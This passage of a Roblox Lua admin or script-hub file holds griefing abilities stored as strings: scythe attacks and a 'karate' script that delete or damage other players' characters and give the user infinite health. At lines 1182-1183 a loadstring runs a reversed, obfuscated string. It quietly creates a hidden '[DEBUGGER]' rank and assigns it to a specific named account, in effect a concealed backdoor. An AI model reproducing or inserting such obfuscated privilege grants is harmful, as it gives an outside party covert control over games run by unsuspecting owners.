705 | con:disconnect() | |
706 | p:Remove() | |
707 | end)() | |
708 | coroutine.wrap(function() | |
709 | wait(5) | |
710 | Instance.new("Explosion",workspace).Position = a.Position | |
711 | a:Destroy() | |
712 | end)() | |
713 | end | |
714 | function __Tornado() | |
715 | if Regening == true then return end | |
716 | if Energy < 150 then return end | |
717 | if Tornado == true then return end | |
718 | Energy = Energy - 150 | |
719 | game:GetService("Chat"):Chat(head,"[ Black Wind ]",2) | |
720 | local a = Instance.new("Part",workspace) | |
721 | a.Anchored = true | |
722 | a.CanCollide = false | |
723 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50) | |
724 | a.FormFactor = 'Custom' | |
725 | a.Size = Vector3.new(100,100,100) | |
726 | a.Transparency = 0.5 | |
727 | a.Reflectance = 0.5 | |
728 | a.BrickColor = BrickColor.new("Really black") | |
729 | a.BottomSurface = "Smooth" | |
730 | a.TopSurface = "Smooth" | |
731 | local pie = Instance.new("PointLight", a) | |
732 | pie.Brightness = 5000 | |
733 | pie.Color = BrickColor.new("Really blue").Color | |
734 | pie.Range = 10 | |
735 | local b = Instance.new("SpecialMesh",a) | |
736 | b.MeshId = 'http://www.roblox.com/asset/?id=16606212' | |
737 | b.VertexColor = Vector3.new(1, 1, 1) | |
738 | b.Scale = Vector3.new(10, 10, 10) | |
739 | local con = a.Touched:connect(function(what) | |
740 | if what.Parent.Name ~= LocalPlayer.Name then | |
741 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
742 | what:Destroy() | |
743 | end | |
744 | end | |
745 | end) | |
746 | coroutine.wrap(function() | |
747 | Tornado = true | |
748 | humanoid.WalkSpeed = 0 | |
749 | for i = 0,1,0.05 do | |
750 | a.Mesh.Scale = Vector3.new(10,10,10) | |
751 | wait() | |
752 | end | |
753 | Tornado = false | |
754 | humanoid.WalkSpeed = 100 | |
755 | while wait() do | |
756 | if a == nil or a.Parent ~= workspace then break end | |
757 | a.CFrame = a.CFrame * CFrame.new(0,0,-1) | |
758 | end | |
759 | con:disconnect() | |
760 | end)() | |
761 | coroutine.wrap(function() | |
762 | wait(5) | |
763 | Instance.new("Explosion",workspace).Position = a.Position | |
764 | a:Destroy() | |
765 | end)() | |
766 | end | |
767 | function __Destiny() | |
768 | if Regening == true then return end | |
769 | if Energy < 200 then return end | |
770 | if Destiny == true then return end | |
771 | Energy = Energy - 200 | |
772 | game:GetService("Chat"):Chat(head,"[ Scythe's Shadow ]",2) | |
773 | local a = Instance.new("Part",workspace) | |
774 | a.Anchored = true | |
775 | a.CanCollide = false | |
776 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-50) | |
777 | a.FormFactor = 'Custom' | |
778 | a.Size = Vector3.new(1000,0.2,50) | |
779 | a.BottomSurface = 'Smooth' | |
780 | a.TopSurface = 'Smooth' | |
781 | a.Transparency = 0.5 | |
782 | a.BrickColor = BrickColor.new("Really black") | |
783 | local pie = Instance.new("PointLight", a) | |
784 | pie.Brightness = 5000 | |
785 | pie.Color = BrickColor.new("Really blue").Color | |
786 | pie.Range = 20 | |
787 | Instance.new("SpecialMesh", a).MeshType = 'Sphere' | |
788 | local con = a.Touched:connect(function(what) | |
789 | if what.Parent.Name ~= LocalPlayer.Name then | |
790 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
791 | what:Destroy() | |
792 | end | |
793 | end | |
794 | end) | |
795 | coroutine.wrap(function() | |
796 | Destiny = true | |
797 | humanoid.WalkSpeed = 0 | |
798 | for i = 0,1,0.05 do | |
799 | a.Mesh.Scale = Vector3.new(i,i,i) | |
800 | wait() | |
801 | end | |
802 | Destiny = false | |
803 | humanoid.WalkSpeed = 100 | |
804 | while wait() do | |
805 | if a == nil or a.Parent ~= workspace then break end | |
806 | a.CFrame = a.CFrame * CFrame.new(0,0,-1) | |
807 | end | |
808 | con:disconnect() | |
809 | end)() | |
810 | coroutine.wrap(function() | |
811 | wait(5) | |
812 | Instance.new("Explosion",workspace).Position = a.Position | |
813 | a:Destroy() | |
814 | end)() | |
815 | end | |
816 | function __Spikes() | |
817 | if Regening == true then return end | |
818 | if Energy < 100 then return end | |
819 | if Spikes == true then return end | |
820 | Energy = Energy - 100 | |
821 | Spikes = true | |
822 | game:GetService("Chat"):Chat(head,"[ Scythes of Hell! ]",2) | |
823 | humanoid.WalkSpeed = 0 | |
824 | for z = 0,200 do | |
825 | local a = Instance.new("Part",workspace) | |
826 | a.FormFactor = 'Custom' | |
827 | a.Size = Vector3.new(30, 500, 30) | |
828 | a.Anchored = true | |
829 | a.CanCollide = false | |
830 | a.BrickColor = BrickColor.new("Really blue") | |
831 | a.Transparency = 0.5 | |
832 | a.Reflectance = 0.5 | |
833 | a.FrontSurface = "Smooth" | |
834 | a.BottomSurface = "Smooth" | |
835 | local pie = Instance.new("PointLight", a) | |
836 | pie.Brightness = 5000 | |
837 | pie.Color = BrickColor.new("Royal purple").Color | |
838 | pie.Range = 20 | |
839 | local b = Instance.new("SpecialMesh",a) | |
840 | b.MeshId = 'http://www.roblox.com/asset/?id=95891318' | |
841 | b.VertexColor = Vector3.new(1, 1, 1) | |
842 | b.Scale = Vector3.new(1,1,1) | |
843 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2) | |
844 | local con = a.Touched:connect(function(what) | |
845 | if what.Parent.Name ~= LocalPlayer.Name then | |
846 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
847 | for i,v in pairs(what.Parent:children()) do | |
848 | if v.ClassName == 'Humanoid' then | |
849 | if v.Health > 100 then v.Health = 100 end | |
850 | v.Health = v.Health - 100 | |
851 | end | |
852 | end | |
853 | end | |
854 | end | |
855 | end) | |
856 | coroutine.wrap(function() | |
857 | wait(3) | |
858 | a:Destroy() | |
859 | con:disconnect() | |
860 | end)() | |
861 | wait() | |
862 | end | |
863 | humanoid.WalkSpeed = 100 | |
864 | Spikes = false | |
865 | end | |
866 | function __Lightning() | |
867 | if Energy < 250 then return end | |
868 | if Lightning == true then return end | |
869 | if Regening == true then return end | |
870 | humanoid.WalkSpeed = 50 | |
871 | Lightning = true | |
872 | game:GetService("Chat"):Chat(head,"[ Scythe's Judgement! ]",2) | |
873 | Energy = Energy - 250 | |
874 | local function segment(pos1,pos2,color) | |
875 | local dis=(pos1-pos2).magnitude | |
876 | local p=Instance.new("Part") | |
877 | p.CanCollide=false | |
878 | p.FormFactor="Custom" | |
879 | p.Size=Vector3.new(50,50,dis) | |
880 | p.Anchored=true | |
881 | p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2) | |
882 | p.BrickColor=color | |
883 | p.Transparency = 0.5 | |
884 | p.Reflectance = 0.5 | |
885 | p.FrontSurface = "Smooth" | |
886 | p.BottomSurface = "Smooth" | |
887 | local pie = Instance.new("PointLight", p) | |
888 | pie.Brightness = 5000 | |
889 | pie.Color = BrickColor.new("Really blue").Color | |
890 | pie.Range = 20 | |
891 | local pie2 = Instance.new("SpecialMesh", p) | |
892 | pie2.MeshId = "http://www.roblox.com/asset/?id=95891318" | |
893 | pie2.Scale = Vector3.new(10,10,10) | |
894 | return p | |
895 | end | |
896 | target = mouse.Hit | |
897 | height=1000 | |
898 | prev=(target*CFrame.new(0,300,0)).p | |
899 | for i=height,30,-50 do | |
900 | cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z) | |
901 | p=segment(prev,cur,BrickColor.new("Really black")) | |
902 | p.Parent=workspace | |
903 | local pie = Instance.new("PointLight", p) | |
904 | pie.Brightness = 5000 | |
905 | pie.Color = BrickColor.new("Really blue").Color | |
906 | pie.Range = 10 | |
907 | game:service("Debris"):AddItem(p,3) | |
908 | prev=cur | |
909 | wait() | |
910 | end | |
911 | p=segment(prev,target.p,BrickColor.new("Really black")) | |
912 | p.Parent=workspace | |
913 | local pie = Instance.new("PointLight", p) | |
914 | pie.Brightness = 5000 | |
915 | pie.Color = BrickColor.new("Really blue").Color | |
916 | pie.Range = 10 | |
917 | game:service("Debris"):AddItem(p,3) | |
918 | local ex = Instance.new("Explosion",workspace) | |
919 | ex.Position=target.p | |
920 | ex.BlastRadius = 100 | |
921 | wait(1) | |
922 | Lightning = false | |
923 | humanoid.WalkSpeed = 100 | |
924 | end | |
925 | function __Explosion() | |
926 | if Energy < 1000 then return end | |
927 | if Explosion == true then return end | |
928 | if Regening == true then return end | |
929 | humanoid.WalkSpeed = 0 | |
930 | Explosion = true | |
931 | Energy = Energy - 1000 | |
932 | game:GetService("Chat"):Chat(head,"[ Scythe's Shattted Judgement of Hell! ]",2) | |
933 | Instance.new("ForceField", LocalPlayer.Character) | |
934 | local Fire = Instance.new("Fire",LocalPlayer.Character.Torso) | |
935 | Fire.Color = BrickColor.new("Really black").Color | |
936 | for i = 0,100 do | |
937 | game:GetService("Chat"):Chat(head,"[ Charging... ]",1) | |
938 | Fire.Size = i | |
939 | wait(0.1) | |
940 | end | |
941 | game:GetService("Chat"):Chat(head,"[ Scythe's Shattered Judgement of Hell! ]",2) | |
942 | Fire:remove() | |
943 | LocalPlayer.Character:FindFirstChild("ForceField"):Remove() | |
944 | local a = Instance.new("Explosion", LocalPlayer.Character) | |
945 | a.Position = LocalPlayer.Character.Torso.Position | |
946 | a.BlastPressure = 1e100 | |
947 | a.BlastRadius = 100 | |
948 | Explosion = false | |
949 | humanoid.WalkSpeed = 100 | |
950 | end | |
951 | t.Activated:connect(__onActivated) | |
952 | t.Deactivated:connect(__onDeactivated) | |
953 | t.Equipped:connect(__onEquipped) | |
954 | t.Unequipped:connect(__onUnequipped) | |
955 | coroutine.wrap(function() | |
956 | while wait() do | |
957 | if Activated == true then | |
958 | if Mode == 'Shoot' then | |
959 | __Shoot() | |
960 | elseif Mode == 'FireBall' then | |
961 | __FireBall() | |
962 | elseif Mode == 'Spikes' then | |
963 | __Spikes() | |
964 | elseif Mode == 'Lightning' then | |
965 | __Lightning() | |
966 | elseif Mode == 'Explosion' then | |
967 | __Explosion() | |
968 | elseif Mode == 'Destiny' then | |
969 | __Destiny() | |
970 | elseif Mode == 'Tornado' then | |
971 | __Tornado() | |
972 | elseif Mode == 'Armor' then | |
973 | __Armor() | |
974 | elseif Mode == 'Wall' then | |
975 | __Wall() | |
976 | end | |
977 | end | |
978 | if Regening == true then | |
979 | game:GetService("Chat"):Chat(head,"[ Charging... ]",1) | |
980 | Energy = Energy + 5000 | |
981 | Instance.new("ForceField", LocalPlayer.Character) | |
982 | wait(1) | |
983 | end | |
984 | end | |
985 | end)() | |
986 | mouse.KeyDown:connect(function(key) | |
987 | if key == 'e' then | |
988 | game:GetService("Chat"):Chat(head,"[ Charging... ]",1) | |
989 | humanoid.WalkSpeed = 75 | |
990 | Regening = true | |
991 | end | |
992 | if key == 'q' then | |
993 | if Mode == 'Shoot' then | |
994 | Mode = 'FireBall' | |
995 | elseif Mode == 'FireBall' then | |
996 | Mode = 'Spikes' | |
997 | elseif Mode == 'Spikes' then | |
998 | Mode = 'Lightning' | |
999 | elseif Mode == 'Lightning' then | |
1000 | Mode = 'Explosion' | |
1001 | elseif Mode == 'Explosion' then | |
1002 | Mode = 'Destiny' | |
1003 | elseif Mode == 'Destiny' then | |
1004 | Mode = 'Tornado' | |
1005 | elseif Mode == 'Tornado' then | |
1006 | Mode = 'Wall' | |
1007 | elseif Mode == 'Wall' then | |
1008 | Mode = 'Armor' | |
1009 | else | |
1010 | Mode = 'Shoot' | |
1011 | end | |
1012 | end | |
1013 | end) | |
1014 | mouse.KeyUp:connect(function(key) | |
1015 | if key == 'e' then | |
1016 | game:GetService("Chat"):Chat(head,"[ Lets see how you do now. ]",1) | |
1017 | humanoid.WalkSpeed = 100 | |
1018 | Regening = false | |
1019 | if LocalPlayer.Character:FindFirstChild("ForceField") then | |
1020 | LocalPlayer.Character:FindFirstChild("ForceField"):Remove() | |
1021 | end | |
1022 | end | |
1023 | end) | |
1024 | count = 0 | |
1025 | countspeed = 0.70 | |
1026 | coroutine.wrap(function() | |
1027 | while wait() do | |
1028 | if Energy > 10000 then Energy = 10000 end | |
1029 | if Energy < 0 then Energy = 0 end | |
1030 | TEXTLABEL.Text = "Power: "..tostring(Energy) | |
1031 | TEXTLABEL2.Text = "Current Health: "..tostring(math.floor(humanoid.Health)) | |
1032 | if Mode == 'Shoot' then | |
1033 | TEXTLABEL3.Text = 'Strength: Dark Wyvern (50 Power)' | |
1034 | elseif Mode == 'FireBall' then | |
1035 | TEXTLABEL3.Text = 'Strength: Dark-Black Fire (150 Power)' | |
1036 | elseif Mode == 'Spikes' then | |
1037 | TEXTLABEL3.Text = 'Strength: Scythes of Hell (100 Power)' | |
1038 | elseif Mode == 'Lightning' then | |
1039 | TEXTLABEL3.Text = 'Strength: Scythes Judgement (250 Power)' | |
1040 | elseif Mode == 'Explosion' then | |
1041 | TEXTLABEL3.Text = 'Strength: Scythes Shattted Judgement of Hell (1000 Power)' | |
1042 | elseif Mode == 'Destiny' then | |
1043 | TEXTLABEL3.Text = 'Strength: Scythes Shadow (200 Power)' | |
1044 | elseif Mode == 'Tornado' then | |
1045 | TEXTLABEL3.Text = 'Strength: Black Wind (150 Power)' | |
1046 | elseif Mode == 'Armor' then | |
1047 | TEXTLABEL3.Text = 'Strength: Armor of Constealing Light (1000 Power)' | |
1048 | elseif Mode == 'Wall' then | |
1049 | TEXTLABEL3.Text = 'Strength: Wall of Stealing Souls (200 Power)' | |
1050 | end | |
1051 | count = (count % 100) + countspeed | |
1052 | angle = math.pi * math.sin(math.pi*2/100*count) | |
1053 | if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then | |
1054 | countspeed = 8 | |
1055 | if Equipped == false then | |
1056 | rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0)) | |
1057 | else | |
1058 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
1059 | end | |
1060 | lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0)) | |
1061 | rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0) | |
1062 | llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0) | |
1063 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0) | |
1064 | rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0) | |
1065 | wait() | |
1066 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand | |
1067 | if shooting then | |
1068 | countspeed = 8 | |
1069 | rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25)) | |
1070 | rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg | |
1071 | llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg | |
1072 | lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm | |
1073 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm | |
1074 | elseif Regening == true then | |
1075 | if Energy == 10000 then Regening = false end | |
1076 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
1077 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
1078 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
1079 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20)) | |
1080 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20)) | |
1081 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
1082 | elseif FireBall == true then | |
1083 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
1084 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
1085 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
1086 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10)) | |
1087 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10)) | |
1088 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
1089 | elseif Spikes == true then | |
1090 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
1091 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
1092 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
1093 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10)) | |
1094 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10)) | |
1095 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
1096 | elseif Lightning == true then | |
1097 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
1098 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
1099 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
1100 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10)) | |
1101 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10)) | |
1102 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0) | |
1103 | elseif Explosion == true then | |
1104 | coroutine.wrap(function() | |
1105 | for i = 0,360 do | |
1106 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
1107 | wait() | |
1108 | end | |
1109 | end)() | |
1110 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
1111 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
1112 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10)) | |
1113 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10)) | |
1114 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0) | |
1115 | else | |
1116 | countspeed = 0.70-- this judges how fast idle animation goes | |
1117 | rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg | |
1118 | llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg | |
1119 | lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm | |
1120 | if Equipped == false then | |
1121 | rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm | |
1122 | else | |
1123 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
1124 | end | |
1125 | neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head | |
1126 | rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso | |
1127 | end | |
1128 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk | |
1129 | countspeed = 8-- this judges how fast the walk animation goes | |
1130 | rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0) | |
1131 | llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0) | |
1132 | neck.C0 = neckc0 * CFrame.Angles(0, 0, 0) | |
1133 | lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0) | |
1134 | if Equipped == false then | |
1135 | rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0) | |
1136 | else | |
1137 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
1138 | end | |
1139 | rj.C0 = rootc0 * CFrame.Angles(0, 0, 0) | |
1140 | end | |
1141 | end | |
1142 | end)() | |
1143 | humanoid.Died:connect(function() | |
1144 | for cframe_parts = 0, 50 do | |
1145 | local p = Instance.new("Part") | |
1146 | p.FormFactor = "Custom" | |
1147 | p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)]) | |
1148 | p.Size = Vector3.new(1, 1, 1) | |
1149 | Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05) | |
1150 | p.Locked = true | |
1151 | p.CanCollide = false | |
1152 | p.Anchored = true | |
1153 | p.CFrame = torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50)) | |
1154 | p.Parent = workspace | |
1155 | local box = Instance.new("SelectionBox", p) | |
1156 | box.Color = BrickColor.new(Colors[math.random(1, #Colors)]) | |
1157 | box.Adornee = p | |
1158 | box.Transparency = 0.5 | |
1159 | box.Visible = true | |
1160 | game:service'Debris':AddItem(p, 5) | |
1161 | coroutine.wrap(function() | |
1162 | while wait() do | |
1163 | if p ~= nil then | |
1164 | p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0) | |
1165 | p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0) | |
1166 | p.Transparency = p.Transparency + 0.015 | |
1167 | else | |
1168 | break | |
1169 | end | |
1170 | end | |
1171 | end)() | |
1172 | end | |
1173 | for _,v in pairs(char:children()) do | |
1174 | if v:IsA("Part") then | |
1175 | v:Destroy() | |
1176 | end | |
1177 | end | |
1178 | ||
1179 | end) | |
1180 | ||
1181 | ]] | |
1182 | loadstring(([[ }"esu rof tnem toN" = cseD ,)1,1,0(wen.3roloC = roloC ,"]REGGUBED[" = emaN{ = ]8[tsiLsknaR | |
1183 | })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]):reverse())() | |
1184 | SoulCrushingKarate = [[ | |
1185 | a,b = pcall(function() | |
1186 | Plrs = game:GetService("Players") | |
1187 | me = Plrs.LocalPlayer | |
1188 | char = me.Character | |
1189 | Modelname = "SoulKarate" | |
1190 | local Head = char.Head | |
1191 | local Torso = char.Torso | |
1192 | local LeftArm = char["Left Arm"] | |
1193 | local RightArm = char["Right Arm"] | |
1194 | local LeftLeg = char["Left Leg"] | |
1195 | local RightLeg = char["Right Leg"] | |
1196 | local RightHip = Torso["Right Hip"] | |
1197 | local LeftHip = Torso["Left Hip"] | |
1198 | dmgs = {Pdmg = {50, 100, "Punch"}, Kdmg = {100, 150, "Kick"}, K2dmg = {200, 300, "Doublekick"}, Rdmg = {230, 300, "RoundHouse"}, | |
1199 | Kardmg = {30, 50, "Karate"}} | |
1200 | dmg = dmgs.Pdmg | |
1201 | Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"} | |
1202 | necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1203 | able = true | |
1204 | block = false | |
1205 | breakblock = 19 | |
1206 | holdkey = false | |
1207 | effectOn = false | |
1208 | Instance.new("ForceField", char) | |
1209 | Add = { | |
1210 | Sphere = function(P) | |
1211 | local m = Instance.new("SpecialMesh",P) | |
1212 | m.MeshType = "Sphere" | |
1213 | return m | |
1214 | end, | |
1215 | BF = function(P) | |
1216 | local bf = Instance.new("BodyForce",P) | |
1217 | bf.force = Vector3.new(0, P:GetMass()*187, 0) | |
1218 | return bf | |
1219 | end, | |
1220 | BP = function(P) | |
1221 | local bp = Instance.new("BodyPosition",P) | |
1222 | bp.maxForce = Vector3.new(math.huge, 0, math.huge) | |
1223 | bp.P = 14000 | |
1224 | return bp | |
1225 | end, | |
1226 | BG = function(P) | |
1227 | local bg = Instance.new("BodyGyro",P) | |
1228 | bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge) | |
1229 | bg.P = 14000 | |
1230 | return bg | |
1231 | end | |
1232 | } | |
1233 | char.Humanoid.MaxHealth = math.huge | |
1234 | char.Humanoid.WalkSpeed = 50 | |
1235 | Head.Transparency = 0.5 | |
1236 | Head.Reflectance = 0.5 | |
1237 | Torso.Transparency = 0.5 | |
1238 | Torso.Reflectance = 0.5 | |
1239 | RightLeg.Transparency = 0.5 | |
1240 | RightLeg.Reflectance = 0.5 | |
1241 | LeftArm.Transparency = 0.5 | |
1242 | LeftArm.Reflectance = 0.5 | |
1243 | RightArm.Transparency = 0.5 | |
1244 | RightArm.Reflectance = 0.5 | |
1245 | LeftLeg.Transparency = 0.5 | |
1246 | LeftLeg.Reflectance = 0.5 | |
1247 | Head.Touched:connect(function(hit) | |
1248 | if hit.Parent:findFirstChild("Humanoid")then | |
1249 | game:GetService("Chat"):Chat(Head,"Don't play soccer with me.",0) | |
1250 | for i,v in pairs(hit.Parent:GetChildren())do | |
1251 | if v:IsA"Humanoid" then | |
1252 | game:GetService("Chat"):Chat(Head,"Cya",0) | |
1253 | v:Destroy() | |
1254 | elseif v:IsA"Part" then | |
1255 | game:GetService("Chat"):Chat(v.Parent.Head,"UGH!MY BONES!",2) | |
1256 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
1257 | v.RotVelocity = v.Position - v.Velocity | |
1258 | v:Remove() | |
1259 | end end end | |
1260 | end) | |
1261 | Torso.Touched:connect(function(hit) | |
1262 | if hit.Parent:findFirstChild("Humanoid")then | |
1263 | game:GetService("Chat"):Chat(Head,"Hugging me? I'm like a ghost.",0) | |
1264 | for i,v in pairs(hit.Parent:GetChildren())do | |
1265 | if v:IsA"Humanoid" then | |
1266 | game:GetService("Chat"):Chat(Head,"That was too easy.",0) | |
1267 | v:Destroy() | |
1268 | elseif v:IsA"Part" then | |
1269 | game:GetService("Chat"):Chat(v.Parent.Head,"OW!",2) | |
1270 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
1271 | v.RotVelocity = v.Position - v.Velocity | |
1272 | v:Remove() | |
1273 | end end end | |
1274 | end) | |
1275 | RightArm.Touched:connect(function(hit) | |
1276 | game:GetService("Chat"):Chat(Head,"My skills are superior.",0) | |
1277 | if hit.Parent:findFirstChild("Humanoid")then | |
1278 | for i,v in pairs(hit.Parent:GetChildren())do | |
1279 | if v:IsA"Humanoid" then | |
1280 | game:GetService("Chat"):Chat(Head,"Fly now...",0) | |
1281 | v:Destroy() | |
1282 | elseif v:IsA"Part" then | |
1283 | game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2) | |
1284 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
1285 | v.RotVelocity = v.Position - v.Velocity | |
1286 | v:Remove() | |
1287 | end end end | |
1288 | end) | |
1289 | LeftArm.Touched:connect(function(hit) | |
1290 | game:GetService("Chat"):Chat(Head,"Check your skills.",0) | |
1291 | if hit.Parent:findFirstChild("Humanoid")then | |
1292 | for i,v in pairs(hit.Parent:GetChildren())do | |
1293 | if v:IsA"Humanoid" then | |
1294 | game:GetService("Chat"):Chat(Head,"You must be mistaken.",0) | |
1295 | v:Destroy() | |
1296 | elseif v:IsA"Part" then | |
1297 | game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2) | |
1298 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
1299 | v.RotVelocity = v.Position - v.Velocity | |
1300 | v:Remove() | |
1301 | end end end | |
1302 | end) | |
1303 | LeftLeg.Touched:connect(function(hit) | |
1304 | if hit.Parent:findFirstChild("Humanoid")then | |
1305 | for i,v in pairs(hit.Parent:GetChildren())do | |
1306 | if v:IsA"Humanoid" then | |
1307 | game:GetService("Chat"):Chat(Head,"Nice,Continuing the kicking game.",0) | |
1308 | v:Destroy() | |
1309 | elseif v:IsA"Part" then | |
1310 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
1311 | v.RotVelocity = v.Position - v.Velocity | |
1312 | v.Transparency = 0.5 | |
1313 | end end end | |
1314 | end) | |
1315 | RightLeg.Touched:connect(function(hit) | |
1316 | if hit.Parent:findFirstChild("Humanoid")then | |
1317 | for i,v in pairs(hit.Parent:GetChildren())do | |
1318 | if v:IsA"Humanoid" then | |
1319 | game:GetService("Chat"):Chat(Head,"Nice try.",0) | |
1320 | v:Destroy() | |
1321 | elseif v:IsA"Part" then | |
1322 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
1323 | v.RotVelocity = v.Position - v.Velocity | |
1324 | v.Transparency = 0.5 | |
1325 | end end end | |
1326 | end) | |
1327 | function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break) | |
1328 | local p = Instance.new("Part") | |
1329 | p.formFactor = "Custom" | |
1330 | p.Anchored = Anchor | |
1331 | p.CanCollide = Collide | |
1332 | p.Transparency = Tran | |
1333 | p.Reflectance = Ref | |
1334 | p.BrickColor = BrickColor.new(Color) | |
1335 | local pie = Instance.new("PointLight", p) | |
1336 | pie.Range = 10 | |
1337 | pie.Shadows = true | |
1338 | pie.Brightness = 50 | |
1339 | for _, Surf in pairs(Surfaces) do | |
1340 | p[Surf] = "Smooth" | |
1341 | end | |
1342 | p.Size = Vector3.new(X, Y, Z) | |
1343 | if Break then | |
1344 | p:BreakJoints() | |
1345 | else p:MakeJoints() end | |
1346 | p.Parent = Parent | |
1347 | return p | |
1348 | end | |
1349 | ||
1350 | function Weld(p0, p1, x, y, z, a, b, c) | |
1351 | ||
1352 | local w = Instance.new("Weld") | |
1353 | ||
1354 | w.Parent = p0 | |
1355 | ||
1356 | w.Part0 = p0 | |
1357 | ||
1358 | w.Part1 = p1 | |
1359 | ||
1360 | w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c) | |
1361 | ||
1362 | return w | |
1363 | ||
1364 | end | |
1365 | ||
1366 | function ComputePos(pos1, pos2) | |
1367 | ||
1368 | local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z) | |
1369 | ||
1370 | return CFrame.new(pos1, pos3) | |
1371 | ||
1372 | end | |
